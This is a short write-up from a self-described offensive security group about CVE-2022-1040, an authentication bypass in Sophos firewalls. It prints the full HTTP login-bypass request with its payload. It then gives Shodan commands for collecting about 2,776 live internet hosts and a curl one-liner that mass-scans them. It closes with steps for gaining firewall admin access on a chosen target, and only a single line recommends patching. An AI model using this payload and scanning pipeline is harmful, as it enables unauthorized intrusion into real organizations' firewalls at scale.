Analysis of Vulnerability CVE-2022-1040 (Sophos RCE)

In the research group Toasec, dedicated to offensive cybersecurity, we took on the task of analyzing this vulnerability in Sophos firewalls.

This vulnerability, like many others, can be reported and found if you know how to search on Twitter, where we observed that since March, articles about the RCE began to appear.

Source: https://www.bleepingcomputer.com/news/security/critical-sophos-firewall-vulnerability-allows-remote-code-execution/

If we look at the repositories that have the POC

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

We can see the payload (mode=151&json=) which allows us to bypass the login, and we also observe the endpoint webconsole/webpages/login.jsp

Now we proceed to analyze the attacks on greynose and verify if it is being actively exploited

Once we identify the endpoint and verify some paths used in attacks with greynoise, we can create our dork in Shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)". This dork is the one we have identified with the highest probability, but we must remember that the vulnerable versions are Sophos XG115w Firewall 17.0.10 MR-10

Requirements

1. Preferably Ubuntu Server 20.04 VPS
2. A Shodan account configured to use the CLI and its API
3. Install jq

POC

1. Preparation of targets with shodan CLI

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443

We proceed to verify the data

We are going to parse the data into a format that allows automation, and we observe that there are 2776 possible targets

shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Now we must clean and remove the commas to make it easier to work with the onliner

sed 's/,/:/g' sophos.txt > sophos-parseado.txt

Now we can work with the onliner in a more suitable format

cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done; 

2. Exploitation

Once we verify our targets, it's just a matter of selecting one and performing the test by accessing the login panel

We intercept the login request and send it to the responder

We modify the request with the payload and we should have a redirect to the firewall administration

We try accessing the path index.jsp

We have verified that the vulnerability is present in the target, and it is also active in many hosts. However, to date, a broad mitigation has been observed regarding other vulnerabilities.

In these cases, the most important thing is to update and install security patches as soon as they are made available by the manufacturers.